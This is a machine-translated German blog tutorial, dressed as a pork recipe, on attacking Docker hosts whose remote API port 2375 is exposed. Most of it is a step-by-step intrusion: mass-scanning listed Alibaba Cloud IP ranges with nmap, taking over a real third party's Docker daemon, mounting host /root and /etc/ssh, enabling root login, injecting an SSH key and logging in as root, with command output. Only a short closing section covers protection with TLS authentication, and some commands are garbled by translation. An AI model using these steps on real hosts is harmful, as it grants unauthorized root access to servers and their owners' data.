Docker legt Port 2375 frei, was zu Serverangriffen und -lösungen führt

Docker legt Port 2375 frei, was zu Serverangriffen und -lösungen führt

Ich glaube, dass Studenten, die etwas über die Docker-Remote-API gelernt haben, mit Port 2375 vertraut sind. 2375 ist der Standardport für die Docker-Fernsteuerung. Über diesen Port können Sie den Remote-Docker-Daemon direkt bedienen.

Wenn der $HOST-Host den Daemon im docker daemon -H=0.0.0.0:2375 startet, können Sie den Docker-Daemon von $HOST direkt auf dem externen Computer ausführen:

docker -H tcp://$HOST:2375 ps

Okay, sprechen wir über die „Invasion“. Wie dringt man über diesen Port in den Hostcomputer ein?

Dabei sollten einige Punkte ausschlaggebend sein:
1. Docker isoliert user namespace nicht, d. h. der Root-Benutzer im Container ist der Root-Benutzer des Hostcomputers. Sobald das Verzeichnis gemountet ist, kann das gemountete Dateisystem im Container nach Belieben als Root-Benutzer des Hostcomputers geändert werden.

  • Der Docker-Dienst verfügt über umfassende Ausführungsrechte (entspricht Root), und normale Benutzer in der Docker-Benutzergruppe können Befehle wie „Docker Run“ ohne weitere Überprüfung ausführen.
  • Wenn die SSL-Verifizierung auf dem freigegebenen Docker-Remote-API-Port nicht aktiviert ist, kann jede Maschine, die eine Verbindung zum Docker-Host herstellen kann, den Docker-Daemon des Docker-Hosts frei betreiben (Befehle wie „Docker Run“, „Docker PS“, „Docker RM“ usw. stellen kein Problem dar).

Durch die Kombination der drei oben genannten Punkte haben wir grundsätzlich die Voraussetzungen für den Angriff auf den Docker-Host geschaffen.

Das klingt vielleicht etwas weit hergeholt, deshalb nehmen wir ein neues Beispiel:

(Erlauben Sie mir bitte, den Vorgang anhand eines Gerichts durchzugehen, das ich kürzlich gelernt habe ╮( ̄▽ ̄)╭ )

Geheim geschmortes Schweinefleisch (Docker-Version)

Materialien: Ganze Blöcke von „5-Blumen“-IP-Segmenten, je dicker, desto besser (je mehr Neulinge, desto besser)

Zutaten: nmap, Docker

Schritt 1: Port 2375 scannen

Wie scannen? Ich habe mich für nmap entschieden, ein einfaches und benutzerfreundliches, für Hacker unverzichtbares Tool.

Wohin fegen? Das von mir ausgewählte Ziel war das IP-Segment von Aliyun, und Baidu fand heraus:

42.96.128.0/17 Alibaba (Beijing) Technology Co., Ltd. China 
42.120.0.0/16 Aliyun Computing Co., LTD China 
42.121.0.0/16 Aliyun Computing Co., LTD China 
42.156.128.0/17 Aliyun Computing Co., LTD China 
110.75.0.0/16 Asien-Pazifik-Netzwerk Informationszentrum China 
110.76.0.0/19 Ali Technology Co., Ltd. China 
110.76.32.0/20 Aliyun Computing Co., LTD China 
110.173.192.0/20 HiChina Web Solutions (Beijing) Limited China 
110.173.208.0/20 HiChina Web Solutions (Beijing) Limited China 
112.124.0.0/16 Hangzhou Alibaba Werbung GmbH China 
112.127.0.0/16 Hangzhou Alibaba Werbung GmbH China 
114.215.0.0/16 Hangzhou Alibaba Werbung GmbH China 
115.28.0.0/16 HiChina Web Solutions (Beijing) Limited China 
115.29.0.0/16 HiChina Web Solutions (Beijing) Limited China 
115.124.16.0/22 ​​​​Hangzhou Alibaba Werbung Co., Ltd. China 
115.124.20.0/22 ​​​​Hangzhou Alibaba Werbung Co., Ltd. China 
115.124.24.0/21 Hangzhou Alibaba Werbung GmbH China 
119.38.208.0/21 Hangzhou Alibaba Werbung GmbH China 
119.38.216.0/21 Hangzhou Alibaba Werbung GmbH China 
119.42.224.0/20 Alibaba (China) Technologie Co., Ltd. China 
119.42.242.0/23 Hangzhou Alibaba Werbung GmbH China 
119.42.244.0/22 ​​​​Hangzhou Alibaba Werbung Co., Ltd. China 
121.0.16.0/21 Hangzhou Alibaba Werbung GmbH China 
121.0.24.0/22 ​​​​Hangzhou Alibaba Werbung Co., Ltd. China 
121.0.28.0/22 ​​​​Hangzhou Alibaba Werbung Co., Ltd. China 
121.196.0.0/16 Hangzhou Alibaba Werbung GmbH China 
121.197.0.0/16 Hangzhou Alibaba Werbegesellschaft, Ltd. China 
121.198.0.0/16 Hangzhou Alibaba Werbung GmbH China 
121.199.0.0/16 Hangzhou Alibaba Werbung GmbH China 
140.205.0.0/16 Aliyun Computing Co., LTD China 
203.209.250.0/23 Hangzhou Alibaba Werbung GmbH China 
218.244.128.0/19 Hangzhou Alibaba Werbung GmbH China 
223.4.0.0/16 Hangzhou Alibaba Werbung Co., Ltd. China 
223.5.0.0/16 Hangzhou Alibaba Werbung Co., Ltd. China 
223.5.5.0/24 Hangzhou Alibaba Werbung GmbH China 
223.6.0.0/16 Hangzhou Alibaba Werbung GmbH China 
223.6.6.0/24 Hangzhou Alibaba Werbung GmbH China 
223.7.0.0/16 Hangzhou Alibaba Werbung Co., Ltd.

Ich erstelle keine IPs, ich bin nur ein Portier für Baidu. Fragen Sie mich nicht, woher diese IPs kommen, ich möchte es auch wissen~ >.<

Speichern Sie den obigen IP-Inhalt in einer Datei, beispielsweise aliyun.list

Scannen starten:

Katze aliyun.list| awk '{print $1}' | xargs -n 1 -I {} nmap -sT -p2375 {} --öffnen 
# Erklären Sie kurz den Befehl:
# awk filtert die erste Spalte der IP-Segmente heraus. # xargs sendet die gefilterten IPs nacheinander an nmap. -I {} bedeutet, dass {} verwendet werden soll, um die übertragenen Parameter zu ersetzen. # ...
# Start von Nmap 7.01 ( https://nmap.org ) am 05.06.2016 09:57 CST
# Nmap-Scanbericht für 42.96.MOSAIC.MOSAIC
# Host ist aktiv (0,070 s Latenz).
# HAFENSTAATSDIENST
# 2375/tcp Docker öffnen
# ...

In weniger als zwei Minuten wurde das erste Stück 42.96.MOSAIC.MOSAIC (der Schweinebauch wurde zensiert) „Schweinebauch“ ausgewählt, komm schon ~

Schritt 2: Testen Sie die Direktsteuerung des 2375

docker -H tcp://42.96.MOSAIC.MOSAIC:2375 ps
 
# CONTAINER ID BILD BEFEHL ERSTELLT STATUS PORTS  
# 73aa690e7c92 imdjh/owncloud-with-ocdownloader "/entrypoint.sh" vor 9 Tagen Seit 3 ​​Tagen aktiv 0.0.0.0:9009->80
# f57c56af0e29 rethinkdb:2.3.2 "rethinkdb --bind all" vor 9 Tagen Seit 3 ​​Tagen aktiv 8080/tcp, 28015/
# 37c1401db593 gaomd/ikev2-vpn-server:0.3.0 "/bin/sh -c /usr/bin/" vor 10 Tagen Aktiv seit 3 ​​Tagen 0.0.0.0:500->500
# af7338a5426d nginx:1.9-alpine "nginx -g 'daemon off" vor 3 Wochen Seit 3 ​​Tagen aktiv 443/tcp, 0.0.0.0
# ...

Der Besitzer dieses Servers ist wirklich kooperativ (⊙ο⊙). Wir können den Inhalt direkt über PS sehen, was bedeutet, dass die 2375 dieses Hosts keine SSL-Verifizierung haben, was grundsätzlich die Einbruchsanforderungen erfüllt.

Die „fünf Blumen“ waschen, abschneiden und für den Topf vorbereiten~

Schritt 3: Remote-Start Ihres eigenen Containers

Was können Sie tun, nachdem Sie die Kontrolle über Docker übernommen haben? Ich habe es bekommen und es war großartig~

# Bilder Schauen Sie sich die vorhandenen lokalen Bilder an# docker -H tcp://42.96.MOSAIC.MOSAIC:2375 Bilder
# ...
# swarm latest 47dc182ea74b vor 4 Wochen 19,32 MB
# jwilder/nginx-proxy latest 203b20631e41 vor 4 Wochen 255,6 MB
# Ubuntu aktuellste c5f1cf30c96b vor 4 Wochen 120,8 MB
# Werft/Schiffswerft neueste ba426f0944bc vor 5 Wochen 58,92 MB
# ...

Einige Ausgaben werden ausgelassen. Es gibt ziemlich viele Bilder. Wählen wir Ubuntu.

# Docker -H tcp://42.96.MOSAIC.MOSAIC:2375 ausführen --rm -it --entrypoint bash -v /root:/tmp/root -v /etc/ssh:/tmp/ssh_etc -v /var/log:/tmp/log Ubuntu

Angesichts dieses Schritts glaube ich, dass Studenten, die über Kenntnisse in SSH verfügen, verstehen sollten

Schritt 4: SSH-Pub-Key-Injektion

Sehen Sie sich im gerade gestarteten Container zunächst das Feld PermitRootLogin in /tmp/ssh_etc/sshd_config an (also /etc/ssh/sshd_config des Hosts). Wenn es no ist, ändern Sie es in yes um root die Anmeldung über SSH zu ermöglichen.

Generieren Sie dann ein neues Paar Pub-Schlüssel auf Ihrem Computer (wenn Sie bereits einen SSH-Schlüssel haben, wird empfohlen, einen neuen zu generieren. Verwenden Sie nicht den SSH-Pub-Schlüssel, den Sie täglich verwenden).

# Verwenden Sie ssh-keygen, um ssh-keygen -t rsa -C "[email protected]" zu generieren.
# Achten Sie nach der Ausführung des Befehls darauf, dass Sie Ihren eigenen SSH-Schlüssel nicht überschreiben, indem Sie die Eingabeaufforderung „Geben Sie die Datei ein, in der der Schlüssel gespeichert werden soll“ lesen. Sie können /tmp/id_rsa wählen.
# Für andere Eingabeaufforderungen geben Sie einfach ein

Fahren Sie fort, fügen Sie den SSH-Pub-Schlüssel ein und kehren Sie zum Container zurück, dessen Ausführung gerade gestartet wurde

Katze >> /tmp/root/.ssh/authorized_keys <<EOF
>ssh-rsa AAA.... # Fügen Sie hier die Datei /tmp/id_rsa.pub ein, die Sie gerade auf Ihrem Computer generiert haben
>Ende
 
# Wenn das Verzeichnis /tmp/root/.ssh nicht existiert, erstellen Sie es direkt

Sternanis, Lorbeerblätter, helle Sojasauce, dunkle Sojasauce und Essig hinzufügen, bei mittlerer Hitze kochen und zum Servieren vorbereiten.

Schritt 5: Beim Server anmelden

# ssh -i Geben Sie den Schlüssel zum Anmelden an ssh -i /tmp/id_rsa [email protected]
 
# Willkommen bei Ubuntu 14.04.1 LTS (GNU/Linux 3.13.0-32-generic x86_64)
#
# * Dokumentation: https://help.ubuntu.com/
#
# Willkommen beim aliyun Elastic Compute Service!
#
# Letzte Anmeldung: Fr 3. Jun 01:38:07 2016 von 120.85.MOSAIC.MOSAIC
# manpath: Das Gebietsschema kann nicht festgelegt werden. Stellen Sie sicher, dass $LC_* und $LANG korrekt sind.
# root@iZ28p9b7e***:~# 
# ...

Bei starker Hitze kochen, bis die Soße eindickt, dann vom Herd nehmen!

Feierliche Erklärung

Das obige Tutorial dient nur zu Kommunikations- und Lernzwecken. id_rsa.pub auf dem Server 42.96.MOSAIC.MOSAIC wurde nach Abschluss dieses Tutorials aktiv gelöscht und es wurde eine Nachricht auf dem Dienst hinterlassen, um Sie darüber zu informieren.

Wenn Sie versehentlich den verfügbaren Port 2375 entdecken, hoffe ich, dass Sie die Nutzung beenden und ihn nicht für andere Zwecke verwenden oder andere Eindringlingsschwachstellen finden, damit Sie mit allen kommunizieren und lernen können.

Ist 2375 eine Docker-Schwachstelle?

NEIN! 2375 direkt dem öffentlichen Internet zugänglich zu machen, ist reine Gewohnheitssache oder Faulheit des Benutzers . 2375 kann für bequeme Tests in einem relativ sicheren internen Netzwerk verwendet werden und ist nicht für den Einsatz in einer Produktionsumgebung geeignet.

Im ersten Dokument der offiziellen Docker-Website, Quick Start, gibt es einen Satz, der besagt:

Achtung: Das Ändern der Standard-Docker-Daemon-Bindung auf einen TCP-Port oder
Die Unix Docker User Group erhöht Ihre Sicherheitsrisiken, indem sie
Nicht-Root-Benutzer erhalten Root-Zugriff auf den Host. Stellen Sie sicher, dass Sie die Kontrolle haben
Zugriff auf Docker. Wenn Sie an einen TCP-Port binden, kann jeder mit
Zugriff auf diesen Port hat vollen Docker-Zugriff; es ist also nicht ratsam
in einem offenen Netzwerk.

Warnung: Wenn der Daemon direkt einem TCP-Port ausgesetzt ist, kann es für einen Nicht-Root-Benutzer möglich sein, Root-Rechte auf dem Hostcomputer zu erlangen. Tatsächlich ist dies der Grund, warum der oben genannte Server angegriffen wurde.

So können Sie es verhindern

Die Frage ist also: Was sollten Sie tun, wenn Sie Remote API verwenden möchten, aber kein Hackerrisiko eingehen wollen?

Die offizielle Docker-Dokumentation stellt eine Methode zur Verwendung der Remote-API durch CA-Authentifizierung vor.

Weitere Einzelheiten finden Sie unter: Schützen Sie den Docker-Daemon-Socket

(Ich werde einen weiteren Blog schreiben, wenn ich es verstehe, aber ich werde einfach hier einen Link dazu setzen, OO)

Der Konfigurationsprozess ist relativ einfach. Hier ist ein Bild, das den Effekt nach der Konfiguration von SSL zeigt:

Dies ist das Ende dieses Artikels über das Problem, dass Docker Port 2375 freigibt und Serverangriffe verursacht, sowie die Lösung. Weitere verwandte Inhalte zum Thema „Docker Port 2375 freigeben“ finden Sie in früheren Artikeln auf 123WORDPRESS.COM oder in den folgenden verwandten Artikeln. Ich hoffe, dass jeder 123WORDPRESS.COM in Zukunft unterstützen wird!

Das könnte Sie auch interessieren:
  • Verwendung von Umgebungsvariablen in Docker und Lösungen für häufige Probleme
  • Docker löst das Problem, dass das Terminal kein Chinesisch eingeben kann
  • Installieren Sie Jenkins mit Docker und lösen Sie das Problem des anfänglichen Plugin-Installationsfehlers
  • Beheben Sie das Problem, dass der Docker-Container das externe Netzwerk nicht anpingen kann
  • Beim Einrichten von Jenkins in einer Docker-Umgebung werden im Konsolenprotokoll beim Erstellen von Aufgaben verstümmelte chinesische Zeichen angezeigt
  • Lösung für das Problem, dass Docker-Protokolle nicht abgerufen werden können
  • Teilen Sie das Problem, dass Ubuntu 19 die Docker-Quelle nicht installieren kann
  • Häufig gestellte Fragen zu Docker

<<:  Lassen Sie uns ausführlich über den Symboldatentyp in ES6 sprechen

>>:  So erstellen (CREATE PROCEDURE) und rufen (CALL) Sie eine gespeicherte MySQL-Prozedur auf und so erstellen (DECLARE) und weisen (SET) Sie eine Variable zu

Artikel empfehlen

CSS Clear Float Clear:Both Beispielcode

Heute werde ich mit Ihnen über das Löschen von Fl...

Ubuntu 18.04 Touchpad per Befehl deaktivieren/aktivieren

Unter Ubuntu kommt es häufig vor, dass sich das T...

Detaillierte Analyse von GUID-Anzeigeproblemen in Mongodb

Finden Sie das Problem Ich habe kürzlich den Spei...

Beispiel für den Aufbau eines Jenkins-Dienstes mit Docker

Ziehen Sie das Bild root@EricZhou-MateBookProX: D...

Detaillierte Erläuterung der MySQL SQL-Anweisungsanalyse und Abfrageoptimierung

So erhalten Sie SQL-Anweisungen mit Leistungsprob...

IIS und APACHE implementieren die HTTP-Umleitung auf HTTPS

IIS7 Laden Sie das HTTP Rewrite-Modul von der off...

Neue Features in MySQL 8: Unsichtbare Indizes

Hintergrund Indizes sind ein zweischneidiges Schw...

Der Unterschied zwischen HTML-Name-ID und Klasse_PowerNode Java Academy

Name Geben Sie einen Namen für das Tag an. Format...

Detaillierte Erklärung des FreeList-Mechanismus von MySQL

1. Einleitung Nach dem Start von MySQL wird Buffe...

3D-Tunneleffekt implementiert durch CSS3

Der erzielte EffektImplementierungscode html <...